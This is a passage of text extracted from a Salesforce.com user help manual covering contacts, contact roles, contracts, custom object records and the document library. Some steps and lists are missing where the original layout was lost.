entitlements, and cases are not deleted with the contact. The deleted contact is moved to the Recycle Bin. If you undelete the
contact, any related items are also restored including any inactive Self-Service username.
You cannot delete contacts that have associated:
• Cases
• Contracts
• Service contracts
• Partner user
• Assets with cases
• An active Self-Service user
• An active Customer Portal user
169
Contacts Searching for Contacts
Note: You can delete a contact if you are an administrator, the contact owner, or a user above the contact owner in
the organization role hierarchy, and if you have the appropriate user permission.
See Also:
Recycle Bin
Deleting Mass Data
Merging Duplicate Contacts
1. Enter your search terms in the Search box located in the sidebar.
Alternatively, click Advanced Search in the sidebar to search for items using the Advanced Search functionality, which
searches for matches in additional fields.
2. Click Search.
The search returns a list of items that match your search terms. The fields you see are determined by the search layout
defined by your administrator and by your field-level security settings (available in Enterprise, Unlimited, and Developer
Editions only).
If you are using local contact names, a search finds matches for either the standard contact names or local contact names.
3. From the list of search results, select a record to jump directly to that record or click Edit to edit it.
You can also create a contact list view to locate contacts that match specific criteria.
See Also:
What is a Person Account?
170
Contact Roles Contact Roles Overview
CONTACT ROLES
A contact role defines the part that a contact or person account plays in a specific account, case, contract, or opportunity. For
example, Tom Jones might be the Decision Maker for the opportunity, and Mary Smith might be the Evaluator. You can
assign a contact role to any contact or person account that affects your account, case, contract, or opportunity. Contacts and
person accounts can have different contact roles on various accounts, cases, contracts, or opportunities.
The Contact Roles related list of an account, case, contract, or opportunity displays the roles that each contact or person
account plays in that record. On person account detail pages, the Opportunity Contact Roles related list displays the opportunities
on which the person account is listed in the Account Name field of the opportunity.
Note: Users must have the appropriate user permissions and sharing access to view the contact information for any
person listed in the appropriate contact roles related lists.
See Also:
Viewing and Editing Contact Roles
Adding Contact Roles
What is a Person Account?
171
Contact Roles Viewing and Editing Contact Roles
The Contact Roles related list of an account, case, contract, or opportunity displays the roles that each contact or person
account plays in that record. On person account detail pages, the Opportunity Contact Roles related list displays the opportunities
on which the person account is listed in the Account Name field of the opportunity.
• To add a contact role for the account, case, contract, or opportunity, click New in the Contact Roles related list. See Adding
Contact Roles on page 173.
• To send an email to all contact roles on a case, click Send an Email in the Contact Roles related list. See Sending Email
on page 209. If a contact role does not have an email address specified on his or her contact record, the contact is not
included in the email.
• To update a contact role, click Edit next to a contact role. Click Save when you have finished making changes.
• To mark a contact or person account as primary on the account, contract, or opportunity, click Edit next to the contact
role entry, and select the Primary option.
Note: On case contact roles, the Primary option is not available. The primary contact on a case is always the
contact listed under Contact Name in the Case Detail section.
• To delete a contact role, click Del next to the contact role you want to delete.
• To create an opportunity related to a person account, click New in the Opportunity Contact Roles related list on a person
account.
See Also:
Contact Roles Overview
Adding Contact Roles
Contact Role Fields
What is a Person Account?
172
Contact Roles Adding Contact Roles
1. Click New in the Contact Roles related list of an account, case, contract, or opportunity.
2. Click the lookup icon to select a contact or person account. Optionally, click New to create a new contact.
When you add or edit contact roles on an opportunity that is associated with a business account, the page automatically
displays the contacts for that business account. If the business account has more than 50 contacts, the contacts are not
automatically displayed, and you must use the lookup icon to select a contact.
3. Choose a role.
4. Optionally, select Primary to set the contact or person account as primary for the account, contract, or opportunity.
Note: On case contact roles, the Primary option is not available. The primary contact on a case is always the
contact listed under Contact Name in the Case Detail section.
5. Click Save.
When you create an opportunity from a contact detail page, that contact automatically becomes the primary contact on the
opportunity. However, a contact role is not automatically assigned.
Tip: Adding person accounts in contact roles on accounts is available but not recommended. As a best practice, we
recommend using the Partners related list to associate person accounts with other accounts.
See Also:
Contact Roles Overview
Viewing and Editing Contact Roles
Contact Role Fields
What is a Person Account?
173
Contracts Contact Role Fields
Field Description
Contact Name of contact or person account. You can use the lookup
icon to either select someone or create a contact.
Primary Option that specifies the contact or person account as primary
for the record.
Note that on case contact roles, the Primary option is not
available. The primary contact on a case is always the contact
listed under Contact Name in the Case Detail section.
See Also:
Viewing and Editing Contact Roles
Adding Contact Roles
What is a Person Account?
CONTRACTS
Contracts Overview
Available in: Professional, Enterprise, Unlimited, and Developer Editions
A contract is a written agreement between two or more parties. Many companies use contracts to define the terms for doing
business with other companies.
Use Salesforce.com to establish and document the contracts you have with your accounts. Then, track the contract through
your organization’s approval process and use workflow alerts to notify yourself when to initiate contract renewals.
174
Contracts Contracts Home
See Also:
Contracts Home
Administrator tip sheet: Getting Started with Contracts
Contracts Home
Available in: Professional, Enterprise, Unlimited, and Developer Editions
• To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define
your own custom view. To edit or delete any view you created, select it from the View drop-down list and click Edit.
• In the Recent Contracts section, select an option from the drop-down list to display a brief list of the top contracts
matching that criteria. From the list, you can select any contract to go directly to the contract detail. Contract Name
displays in this list if you have added it to your contract page layout. Toggle the Show 25 items and Show 10 items links
to change the number of items that display. The fields you see are determined by the “Contracts Tab” search layout defined
by your administrator and by your field-level security settings (available in Enterprise, Unlimited, and Developer Editions
only). The Recent Contracts options are:
175
Contracts Viewing Contract Lists
See Also:
Contracts Overview
Cloning Contracts
Deleting Contracts
Creating Custom List Views
Displaying and Editing Contracts
Creating Contracts
Note: If your administrator has enabled enhanced lists, you can use additional tools to customize, navigate, manage,
and edit list data.
The contracts list page displays a list of contracts that match your current view. From this page, you can view detailed contract
information and access related information.
• Click a contract number to view the detail. Click Edit or Del to edit or delete a contract. See Displaying and Editing
Contracts on page 177.
• Choose a predefined view from the drop-down list to display a list of contracts. Alternatively, you can click Create New
View to define your own list view. See Creating Custom List Views on page 219.
• Click Printable View ( ) to display the current list view in a format that is ready for printing.
176
Contracts Displaying and Editing Contracts
• Click New Contract select Contract from the Create New drop-down list in the sidebar to create a contract. These options
display only if you have the “Create” permission on contracts. See Creating Contracts on page 179.
• Click any column heading to sort the contracts in ascending order using that column's information. Click the heading a
second time to sort in descending order.
• At the top and bottom of the list, click a letter to display the contents of the sorted column that begin with that character.
• Click the Next Page (or Previous Page) link to go to the next or previous set of contracts.
• At the bottom of the list view, select fewer or more to view a shorter or longer display list.
See Also:
Displaying and Editing Contracts
Creating Contracts
Deleting Contracts
Enabling the Customer Portal for Contacts and Person Accounts
Customizing User Interface Settings
Working with Enhanced Lists
Using Inline Editing in Lists
Displaying Contracts
Once you have located a contract on the contracts home or list pages, click the contract number to display detailed
information. From an account, click the contract number in the Contracts related list to display the contract. All contracts
associated with the account are listed in the Contracts related list.
Tip: If your organization has enabled hover details, hover over any lookup field on the detail page to view key
information about a record before clicking into that record's detail page.
177
Contracts Displaying and Editing Contracts
Editing Contracts
To update a contract, click Edit, and then change the fields that you want to update. When you have finished, click
Save. You can also select Save & New to save the current contract and create another. Users with the “Edit” permission
on contracts can edit contracts until they are activated.
Note: If your organization enabled inline editing, you can edit fields directly on the detail page.
Tagging Contacts
If tags have been enabled, click Add Tags or Edit Tags in the Tags area directly under the title bar to tag the current
record. If the record is already tagged, click one of the tag names to view a list of all records with that tag.
Printing Contracts
To open a printable display of all information for a record, click Printable View on the detail page.
To return to the last list page you viewed, click Back to list at the top of the contracts detail page. If your organization has
enabled collapsible page sections, use the arrow icons next to the section headings to expand or collapse each section on the
detail page. For more information, see Navigating on page 9.
See Also:
Contract Approval Requests
Contract History
Contract Fields
Creating Contracts
Cloning Contracts
Deleting Contracts
Searching for Contracts
178
Contracts Creating Contracts
The Approval Requests related list on a contract detail page tracks the status of each approval request. This list displays
information about each approval request and includes the status and any approve or reject comments. When the status is
Pending, no comment is included.
See Also:
Approving Contracts
Contract History
Available in: Professional, Enterprise, Unlimited, and Developer Editions
The Contract History related list of a contract detail page tracks changes to a contract while its status is either In Approval
Process or Activated. Any time a user modifies any of the standard or custom fields whose history is set to be tracked on the
contract, a new entry is added to the Contract History related list. All entries include the date, time, nature of the change, and
who made the change. Modifications to the related lists on the contract are not tracked in the contract history. For information
about setting up which fields are tracked, see Tracking Field History on page 837.
Creating Contracts
Available in: Professional, Enterprise, Unlimited, and Developer Editions
You must have at least read access to an account in order to associate a contract with it. To create a contract:
1. Select Contract from the Create New drop-down list in the sidebar, or click New next to Recent Contracts on the contracts
home page. Select an Account Name to associate the new contract with that account.
Alternatively, view the account record first and click New in the Contracts related list.
179
Contracts Cloning Contracts
5. Enter the rest of the information for the new contract. For a definition of each field, see Contract Fields on page 181.
6. Click Save.
The contract is listed under the Contracts related list of the account.
Enterprise, Unlimited, and Developer Edition organizations can activate record types that prompt you to choose a Record
Type when creating a record. This determines the picklist values and status values available when creating and editing a record.
For instructions on enabling record types for contracts, see Managing Record Types on page 1004.
If your organization uses divisions, the division of a new contract is automatically set to the division of the related account.
See Also:
Cloning Contracts
Contract Fields
Contracts Home
Deleting Contracts
Cloning Contracts
Available in: Professional, Enterprise, Unlimited, and Developer Editions
The Clone button on a contract quickly creates a new contract with the same information as the existing contract. For example,
you can add multiple contracts for the same account.
Click Clone on an existing contract. Enter or change any information for the new contract and click Save.
180
Contracts Contract Fields
Note: If you have read-only access to a field, the value of that field is not carried over to the cloned record.
See Also:
Contract Fields
Deleting Contracts
Contract Fields
Available in: Professional, Enterprise, Unlimited, and Developer Editions
A contract has the following fields, listed in alphabetical order. Depending on your page layout and field-level security settings,
some fields may not be visible or editable. (Field-level security is available in Enterprise, Unlimited, and Developer Editions
only.)
Field Description
Account Name Name of account associated with the contract.
Activated By Name of the person that activated the contract.
Activated Date Activation date of the contract.
Billing Street Street address used for billing. Up to 255 characters are allowed
in this field.
Billing City City portion of billing address. Up to 40 characters are allowed
in this field.
Billing State/Province State or province portion of billing address. Up to 20 characters
are allowed in this field.
Billing Zip/Postal Code Zip or postal code portion of billing address. Up to 20
characters are allowed in this field.
Billing Country Country portion of billing address. Up to 40 characters are
allowed in this field.
Company Signed By User at your organization who authorized the contract.
Company Signed Date Date that the contract was authorized.
Contract Division Division to which the contract belongs. This value is
automatically inherited from the related account. Available
only in organizations that use divisions to segment their data.
Contract End Date Last day the contract is in effect. Your administrator can
configure Salesforce.com to calculate Contract End Date
based on Contract Start Date and Contract Term.
181
Contracts Contract Fields
Field Description
If this field is auto-calculated, it will not display on the
contracts edit page.
Contract Name Title for the contract that distinguishes it from other contracts.
Contract Number Unique number automatically assigned to the contract.
Numbering for contracts starts at “100.” (Read only)
Administrators can modify the format and numbering for this
field. See Modifying Standard Auto-Number Fields on page
797.
Contract Owner User who owns the contract record.
Contract Start Date First day that the contract is in effect.
Contract Term (months) Number of months that the contract is in effect.
Created By User who created the contract record.
Customer Signed By Contact on the account that authorized the contract.
Customer Signed Date Date the contact signed the contract.
Customer Signed Title Title of the contact who signed the contract.
Description Statement describing the contract.
Last Modified By User who most recently changed the contract record.
Owner Expiration Notice Number of days before the contract end date you want to send
the notification, if the contract owner and account owner
wants to be notified of an upcoming contract expiration.
Shipping Street Primary mailing or shipping street address of account. Up to
255 characters are allowed in this field.
Shipping City City portion of primary mailing or shipping address. Up to
40 characters are allowed in this field.
Shipping State/Province State or province portion of primary mailing or shipping
address. Up to 20 characters are allowed in this field.
Shipping Zip/Postal Code Zip or postal code portion of primary mailing or shipping
address. Up to 20 characters are allowed in this field.
Shipping Country Country portion of primary mailing or shipping address. Up
to 40 characters are allowed in this field.
Special Terms Any terms that you have specifically agreed to and want to
track in the contract.
Status Indicates the stage that the contract has reached in the contract
business process. Your organization can add values to this
picklist within three system-defined contract status categories:
Draft, In Approval Process, and Activated. You
182
Contracts Approving Contracts
Field Description
can use these status categories to track contracts within your
business process using reports and views.
Important: The Status field cannot be updated by
approval processes. If you want to use the contract
status as part of an approval process, Salesforce.com
recommends creating a custom status field.
See Also:
Displaying and Editing Contracts
Creating Contracts
Cloning Contracts
Approving Contracts
Available in: Professional, Enterprise, Unlimited, and Developer Editions
Your organization may already have a process for approving contracts. For example, you may have one person designated for
each team to approve contracts. You may also have one administrator designated to activate contracts. If so, your Salesforce.com
administrator can customize Salesforce.com to give the appropriate people the permissions they need to perform their part of
the contract life-cycle.
Before you begin customizing Salesforce.com, define the life-cycle of a contract in your organization. Use the following basic
contract approval process to get started:
1. A user creates a contract. This user needs to have the “Edit” permission on contracts. All newly created contracts have a
Draft status.
2. The contract owner sends an approval request to have the contract approved by a team lead. The first approval request on
a contract changes its status to In Approval Process.
3. The team lead accepts or rejects the contract approval request. If rejected, the contract owner can make changes to the
contract and submit another approval request. The status remains In Approval Process whether the approval request was
accepted or rejected.
4. If accepted, a contract administrator activates the contract. Users with the “Activate Contracts” permission can activate a
contract. Activating a contract changes the contract status to Activated and makes the contract read only. Activated
183
Contracts Approving Contracts
contracts cannot be changed and only users with the “Delete Activated Contracts” permission can delete a contract with
Activated status.
See Also:
Activating Contracts
Displaying and Editing Contracts
Creating Contracts
184
Contracts Activating Contracts
Activating Contracts
Available in: Professional, Enterprise, Unlimited, and Developer Editions
Administrators and users with the “Activate Contracts” permission can activate contracts. To edit an activated contract, a user
must have the “Activate Contracts” permission.
Activating a contract changes the contract status to Activated and makes the contract read only. Activated contracts cannot
be changed and only users with the “Delete Activated Contracts” permission can delete a contract with Activated status. To
activate a contract:
See Also:
Approving Contracts
Displaying and Editing Contracts
185
Contracts Deleting Contracts
Deleting Contracts
Available in: Professional, Enterprise, Unlimited, and Developer Editions
To delete a contract, click Del next to the contract on the contracts list page. You can also delete a contract by clicking Delete
on the contract detail page.
When you delete a contract, all related notes, attachments, events and tasks, history, and approval requests are deleted.
Associated accounts are not deleted with the contract. The deleted contract is moved to the Recycle Bin. If you undelete the
contract, any related items are also restored.
See Also:
Recycle Bin
Activating Contracts
1. Enter your search terms in the Search box located in the sidebar.
Alternatively, click Advanced Search in the sidebar to search for items using the Advanced Search functionality, which
searches for matches in additional fields.
2. Click Search.
186
Custom Object Records Custom Object Record Overview
The search returns a list of items that match your search terms. The fields you see are determined by the search layout
defined by your administrator and by your field-level security settings (available in Enterprise, Unlimited, and Developer
Editions only).
3. From the list of search results, select a record to jump directly to that record or click Edit to edit it.
You can also create a contract list view to find contracts that match specific criteria.
See Also:
Search Overview
Custom objects records store information that is unique and important to you and your organization. For example, your
organization may use a custom object called “Quotes” to store data for your company's sales quotes. You can also use custom
objects for custom applications, such as tracking software enhancements in a development life-cycle.
Your administrator first defines the custom object and its properties, such as custom fields, relationships to other types of data,
page layouts, and a custom user interface tab. Once the custom object is created and deployed to users, you can enter data to
create individual custom object records. If your administrator has created a tab for the custom object, the tab displays a home
page that lets you quickly create and locate custom object records. You can also sort and filter your custom object records using
standard and custom list views. In addition, the tab lets you view and edit detailed information on each custom object record
to which you have access.
Administrators, and users with the “Modify All Data” permission, can import custom objects. See What Is Imported for
Custom Objects? on page 624.
Note: If you need information on a specific custom object, please contact your Salesforce.com administrator about
creating custom help for your custom objects. Salesforce.com Online Help covers the standard objects provided with
the initial Salesforce.com integration.
See Also:
Custom Objects Home
Defining Custom Objects
187
Custom Object Records Custom Objects Home
Clicking on a custom object tab displays the tab home page. The name of a custom object tab is the plural form of the custom
object as defined by your administrator.
• To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define
your own custom view. List views let you display a list of records that match specific criteria, such as all custom objects for
a tab or just the ones you own. To edit or delete any view you created, select it from the View drop-down list and click
Edit.
• If custom objects are shared with external contacts via Salesforce to Salesforce, choose one of the list views under [Custom
Object Name] from Connections to view the custom objects that your business partners have shared with you.
• In the Recent section, select an item from the drop-down list to display a brief list of the top custom object records matching
that criteria. From the list, you can click any custom object name to go directly to the detail. Toggle the Show 25 items
and Show 10 items links to change the number of items that display. The fields you see are determined by the “Custom
Object Tab” search layout defined by your administrator and by your field-level security settings (available in Enterprise,
Unlimited, and Developer Editions only). The key list choices are:
188
Custom Object Records Viewing Custom Object Lists
Note: If you need information on a specific custom object, please contact your Salesforce.com administrator about
creating custom help for your custom objects. Salesforce.com Online Help covers the standard objects provided with
the initial Salesforce.com integration.
See Also:
Custom Object Record Overview
Displaying and Editing Custom Object Records
Creating Custom Object Records
Deleting Custom Object Records
Creating Custom List Views
Custom Help Overview
Replacing Salesforce.com Online Help
Note: If your administrator has enabled enhanced lists, you can use additional tools to customize, navigate, manage,
and edit list data.
The custom objects list page displays a list of custom object records in your current view. From this page, you can view detailed
custom object record information and access other related information. A list view includes custom object records of one type
only; you cannot view more than one type of custom object in a single list view.
Note: Buttons and links mentioned in the online help only display for those users who have the appropriate user
permissions to use them.
• Click a custom object name to view the custom object record detail. Click Edit or Del next to a custom object record name
to edit or delete the record. See Displaying and Editing Custom Object Records on page 190.
• To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define
your own custom view. To edit or delete any view you created, select it from the View drop-down list and click Edit.
• Click Printable View ( ) to display the current list view in a format that is ready for printing.
• To take ownership of custom object records in a queue, view the queue list view, check the box next to one or more records,
and then click Accept.
189
Custom Object Records Displaying and Editing Custom Object Records
Note: You can view and accept records only from queues of which you are a member or if you are higher in the
role hierarchy than a queue member. Administrators, users with the “Modify All” object-level permission for the
given object, and users with the “Modify All Data” permission, can view and take records from any queue.
• To transfer ownership of multiple records at once, check the box next to one or more custom object records and click
Change Owner. Enter the new record owner, optionally select Send Notification Email to send an email to the
new record owner, and click Save.
• Click New Custom Object Name or select the custom object name from the Create New drop-down list in the sidebar
to create a new custom object of that type. These options display only if you have the “Create” permission on the custom
object. See Creating Custom Object Records on page 192.
• Click any column heading to sort the records in ascending order using that column’s information. Click a column heading
a second time to sort in descending order.
• At the top and bottom of the list, click a letter to display the contents of the sorted column that begin with that character.
• Click the Next Page (or Previous Page) link to go to the next or previous set of records.
• At the bottom of the list, select fewer or more to view a shorter or longer display list.
Note: If you need information on a specific custom object, please contact your Salesforce.com administrator about
creating custom help for your custom objects. Salesforce.com Online Help covers the standard objects provided with
the initial Salesforce.com integration.
See Also:
Custom Object Record Overview
Customizing User Interface Settings
Working with Enhanced Lists
Using Inline Editing in Lists
Note: Buttons and links mentioned in the online help only display for those users who have the appropriate user
permissions to use them.
190
Custom Object Records Displaying and Editing Custom Object Records
Tip: If your organization has enabled hover details, hover over any lookup field on the detail page to view key
information about a record before clicking into that record's detail page.
In Professional, Enterprise, Unlimited, and Developer Edition organizations that have set up the console to include
custom objects, click the Console tab to display the console, which allows you to find, view, and edit custom object
records and their associated records on one screen. For more information, see Displaying the Console on page 2372.
To return to the last list page you viewed, click Back to list at the top of any custom object record detail page. If your organization
has enabled collapsible page sections, use the arrow icons next to the section headings to expand or collapse each section on
the detail page. See Navigating on page 9 for more information.
191
Custom Object Records Creating Custom Object Records
Note: If you need information on a specific custom object, please contact your Salesforce.com administrator about
creating custom help for your custom objects. Salesforce.com Online Help covers the standard objects provided with
the initial Salesforce.com integration.
See Also:
Custom Object Record Fields
Creating Custom Object Records
Deleting Custom Object Records
Searching for Custom Object Records
Using Custom Related Lists
If your administrator has defined relationships to other types of records, you can automatically associate the new custom object
with another record. View the other record and select the custom object name from the Create New drop-down list in the
sidebar, or click New Object Name in the custom object related list of the other record.
If your organization uses divisions to segment data, custom objects that are detail objects in a master-detail relationship inherit
their division from the master object. Custom objects that are not related to other records are automatically in the global
division.
Note: If you need information on a specific custom object, please contact your Salesforce.com administrator about
creating custom help for your custom objects. Salesforce.com Online Help covers the standard objects provided with
the initial Salesforce.com integration.
See Also:
Custom Object Record Fields
Custom Objects Home
Defining Custom Objects
192
Custom Object Records Cloning Custom Object Records
The Clone button on a custom object record quickly creates a new custom object record with the same information as the
existing record. To clone a custom object record:
Note: If you have read-only access to a field, the value of that field is not carried over to the cloned record.
See Also:
Custom Object Record Fields
Custom related lists display on the lower portion of the detail page for another record. They list the custom object records
that are associated with that record.
From a custom related list, you can:
193
Custom Object Records Custom Object Record Fields
Your administrator defines whether a custom object can be related to another type of record via master-detail or lookup
relationships. The administrator also specifies whether a custom related list displays on the page layout of the associated record.
For more information, see Overview of Relationships on page 1375.
Note: If you need information on a specific custom object, please contact your Salesforce.com administrator about
creating custom help for your custom objects. Salesforce.com Online Help covers the standard objects provided with
the initial Salesforce.com integration.
See Also:
Custom Object Record Overview
Displaying and Editing Custom Object Records
Creating Custom Object Records
Deleting Custom Object Records
Custom object record fields contain the data you enter for your custom object records. Here is a description of the fields (in
alphabetical order) that make up a custom object record. Some of these fields may not be visible or editable depending on your
page layout and field-level security settings. (Field-level security is available in Enterprise, Unlimited, and Developer Editions
only.)
Your administrator may also have defined additional custom fields.
Field Description
Created By User who created the record.
Currency Currency of the record if multicurrency is enabled.
Division Division to which the custom object record belongs. Custom
objects that are “detail” objects in a master-detail relationship
inherit their division from the master object. Custom objects
that are not related to other records are automatically in the
global division. Available only in organizations that use
divisions to segment their data.
Last Modified By User who most recently changed the record.
Name Identifier for the custom object record. This name appears in
page layouts, related lists, lookup dialogs, search results, and
key lists on tab home pages. By default, this field is added to
the custom object page layout as a required field.
194
Custom Object Records Deleting Custom Object Records
Field Description
Owner Assigned owner of the custom object record. If the custom
object becomes the detail side of a master-detail relationship,
this field is removed, as ownership of the data is controlled by
the master object, or by the primary master object for a custom
object with two master-detail relationships.
Note: Custom objects on the “detail” side of a
master-detail relationship cannot have sharing rules,
manual sharing, or queues, as these require the Owner
field.
Note: If you need information on a specific custom object, please contact your Salesforce.com administrator about
creating custom help for your custom objects. Salesforce.com Online Help covers the standard objects provided with
the initial Salesforce.com integration.
See Also:
Custom Objects Home
Custom Object Record Overview
To delete a custom object record, click Del next to the record on the custom objects list page or in the custom related list of
an associated record. You can also delete a custom object record by clicking Delete on the custom object record detail page.
When you delete a custom object record, all related events, tasks, notes, and attachments are also deleted. If the custom object
is the master object in a master-detail relationship, any associated detail records are also deleted. If the custom object is in a
lookup relationship or the detail side of a master-detail relationship, any associated records are not deleted.
The deleted custom object record is moved to the Recycle Bin. If you undelete the record, any related items are also restored.
Note: You can delete a custom object record if you are an administrator, the record owner, or a user above the record
owner in the organization role hierarchy, and if you have the appropriate user permission. Custom objects that are on
195
Custom Object Records Searching for Custom Object Records
the detail side of a master-detail relationship do not have an Owner field and can be deleted by any user who has access
to edit the associated master record.
See Also:
Recycle Bin
Overview of Relationships
Managing Custom Objects
Deleting Relationship Groups
Removing Members from Relationship Group Members
1. Enter your search terms in the Search box located in the sidebar.
Alternatively, click Advanced Search in the sidebar to search for items using the Advanced Search functionality, which
searches for matches in additional fields.
2. Click Search.
The search returns a list of items that match your search terms. The fields you see are determined by the search layout
defined by your administrator and by your field-level security settings (available in Enterprise and Developer Editions
only).
3. From the list of search results, select a record to jump directly to that record or click Edit to edit it.
You can also create a custom object list view to find custom object records that match specific criteria.
Note: If you need information on a specific custom object, please contact your Salesforce.com administrator about
creating custom help for your custom objects. Salesforce.com Online Help covers the standard objects provided with
the initial Salesforce.com integration.
See Also:
Search Overview
196
Custom Object Records Sharing Custom Object Records
Your administrator defines the default sharing model for your entire organization. You can change this model to extend sharing
to more users than the default set by your administrator. However, you cannot change the sharing model to make it more
restrictive than the default.
To view and manage sharing details, click Sharing on the custom object record detail page. The Sharing Detail page lists the
users, groups, roles, and territories that have sharing access to the record. On this page, you can do any of the following:
• To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define
your own custom view. To edit or delete any view you created, select it from the View drop-down list and click Edit.
• Click Add to grant access to the record for other users, groups, roles, or territories.
Note: To share a custom object record with another user, that user must have the “Read” permission on the custom
object.
• Click Expand List to view all users that have access to the record.
• For manual sharing rules that you created, click Edit or Del next to an item in the list to edit or delete the access level.
Note: If you need information on a specific custom object, please contact your Salesforce.com administrator about
creating custom help for your custom objects. Salesforce.com Online Help covers the standard objects provided with
the initial Salesforce.com integration.
See Also:
Granting Access to Records
Viewing Which Users Have Access
197
Documents Document Library Overview
DOCUMENTS
A document library is a place to store files without attaching them to accounts, contacts, opportunities, or other records. Each
document in the document library resides in a folder. The folder’s attributes determine the accessibility of the folder and the
documents within it.
See Also:
Documents Home
Monitoring Resources
Salesforce CRM Content Overview
Documents Home
Available in: All Editions
198
Documents Viewing Document Lists
Note: If the Documents tab is not visible, you can customize your display to show it. For more information, see
Customizing Your Display on page 34.
See Also:
Document Library Overview
Viewing Document Lists
Displaying and Editing Document Properties
Uploading and Replacing Documents
Deleting Documents
Changing Document Authors
Searching for Documents
Managing Folders
The documents list page displays a list of documents in a selected folder. From this page, you can view detailed document
information or manipulate the document.
• Click the document name to view document property details. For information on the document details, see Displaying
and Editing Document Properties on page 200.
• Click Edit next to a document to view document file properties. For more details, see Displaying and Editing Document
Properties on page 200.
199
Documents Displaying and Editing Document Properties
• Click Del to remove the document from the document library. All deleted documents will be moved to the Recycle Bin.
For more information, see Deleting Documents on page 205.
• Click View to open the file in its associated application. If a file type is not recognized or the application is not loaded on
your machine, Salesforce.com displays a standard download dialog prompting you to choose a save option.
• Choose a folder to view a list of documents stored in that folder.
• Click any column heading to sort the documents in ascending order by the information in that column. Click the same
column heading again to sort documents in descending order.
• At the top and bottom of the list, click a letter to display the contents of the sorted column that begin with that character.
• Click the Next Page (or Previous Page) link to go to the next or previous set of documents.
• At the bottom of the document list, select fewer or more to view a shorter or longer display list.
• Click Printable View ( ) to display the current list view in a format that is ready for printing.
Note: If you cannot find a document, you may not have access to the folder that contains it. For more information
about folders, see Managing Folders on page 1057.
Displaying Documents - Once you have located a document on the documents home or list pages, click the document name
to display detailed information.
Editing Documents - To update document properties, click Edit, and then change the properties you want updated. When
you have finished, click Save. See Document Properties on page 203 for a description of the document properties.
Tagging Documents - If tags have been enabled, click Add Tags or Edit Tags in the Tags area directly under the title bar
to tag the current record. If the record is already tagged, click one of the tag names to view a list of all records with that tag.
Deleting Documents - To delete a document, click Delete. See Deleting Documents on page 205 for more information about
deleting documents.
Updating Documents - To replace a document with an updated version, click Replace Document. See Uploading and
Replacing Documents on page 201 for instructions on replacing documents.
Emailing Documents - To email a document to a contact, click Email Document, fill in the details of the email, and click
Send. The document is sent as an attachment to the email and is logged in the Activity History for the contact. Documents
that reference URLs rather than physical files cannot be emailed. For a document that is an image embedded in an HTML
200
Documents Uploading and Replacing Documents
email template, such as a logo in a letterhead, make sure the document is marked as Externally Available on the
Documents tab so that a user who does not have a Salesforce.com username and password can view the image when it is
received in an email.
Searching a Document - To search for a document, enter search terms and click Find Document. A list of documents that
match your search terms displays. You can search for terms using the following fields:
• Document Name
• Keywords
• Description
If Document Content Searchable is checked, the content of a document can also be searched.
Viewing Folder Contents - To view all the documents in a folder, click the folder name.
Moving Documents - To store a document in a different folder, click Edit, choose a new folder, and click Save.
To return to the last list page you viewed, click Back to list at the top of any documents detail page. See Navigating on page
9 for more information.
See Also:
Uploading and Replacing Documents
Searching for Documents
201
Documents Uploading and Replacing Documents
• Internal Use Only if the document is confidential. Checking this box does not change the visibility of the file but
prevents it from being publicly accessible.
• Externally Available Image if the document is an image, such as a logo, that's not confidential. Check this
box to:
- Make the image available from HTML email templates without requiring a Salesforce.com username and password
- Use the image as a custom tab icon or custom app logo, which do require a Salesforce.com username and password
to view
- Display the image in meeting requests
9. Click Save.
Replacing a Document
To replace a document with an updated version:
1. Display the document you want to replace. For instructions on locating a document in the document library, see Searching
for Documents on page 206.
2. Click Replace Document.
3. Select a document or path option.
• To upload a replacement, click Browse, choose the file, and click Open.
• To store a link to the replacement, enter the location of the replacement. Enter a path and file name or a URL such
as: C:\Quotes\quote.doc, \\Server\Departments\Marketing\logo.doc, or http://www.salesforce.com.
202
Documents Document Properties
• If the Disallow HTML documents and attachments security setting is enabled for your organization, you cannot
upload files with the following file extensions: htm, html, htt, htx, mhtm, mhtml, shtm, shtml, acgi.
See Also:
Searching for Documents
Monitoring Resources
Document Properties
Available in: All Editions
Below is a description of the properties in alphabetical order that are stored for each document in the document library.
Field Description
Author The main point of contact for a document. Initially, the person
uploading the document is the author. Thereafter, the author
can be any selected user.
Created By The name of the person who originally uploaded the file.
Modified By The name of the person who last uploaded the file.
Folder The name of the folder that contains the document.
Document Content Searchable A checkbox that indicates if the content within a document
can be searched via the Find Document button on the
Documents tab. This checkbox is automatically set by
Salesforce.com.
Document Name The name of the document including its file extension.
Document Unique Name A unique name used to refer to the document when using the
Force.com API. In managed packages, this name prevents
naming conflicts on package installations. This name can
contain only underscores and alphanumeric characters, and
must be unique in your organization. It must begin with a
letter, not include spaces, not end with an underscore, and not
contain two consecutive underscores. With this field, a
developer can change certain components' names or titles in
a managed package and the changes are reflected in a
subscriber's organization.
Description A statement distinguishing this document from others.
Internal Use Only A checkbox that indicates if the document is confidential. The
Internal Use Only and Externally Available
Image checkboxes are mutually exclusive; you cannot select
both.
203
Documents Document Properties
Field Description
Externally Available Image A checkbox that indicates if the document is an image available
for HTML email templates, such as a logo in a letterhead,
and does not require a Salesforce.com username and password
to view in an email.
This checkbox indicates if the document is an image used as
a custom app logo or custom tab icon, which require a
Salesforce.com username and password to view.
The Internal Use Only and Externally Available
Image checkboxes are mutually exclusive; you cannot select
both.
Keywords An open text field containing one or more words that describe
the document. The program checks for matches in this field
when doing a search.
Path Stored in place of Document Name if you prefer to create a
link to the document instead of uploading it.
Size The size of the document in bytes.
Type The file type is determined by the file extension. For example,
filename.ppt is recognized as a PowerPoint file. If the
Disallow HTML documents and attachments security
setting is enabled for your organization, you cannot upload
files with the following file extensions: htm, html, htt, htx,
mhtm, mhtml, shtm, shtml, acgi.
See Also:
Displaying and Editing Document Properties
Viewing Document Lists
204
Documents Deleting Documents
Deleting Documents
Available in: All Editions
To delete a document, click Del next to the document on the documents list page. Alternatively, click Delete on the documents
detail page.
When you delete a document, Salesforce.com stores it in the Recycle Bin. You can restore the document to your document
library within that time by clicking Undelete from the Recycle Bin.
Note:
• You can delete any document in your personal folder but you can only delete a document in a public folder if you
have the “Manage Public Documents” permission.
• If you delete a document that's included in a letterhead or HTML email template, any emails using the letterhead
or template display a broken link in its place. You can fix the broken link by removing the document from the
Recycle Bin.
• You can't delete a document that's being used as a custom logo in meeting requests. To delete it, you must either
select another document to use as a logo or uncheck the option to display a custom logo in meeting requests.
See Also:
Managing Folders
Recycle Bin
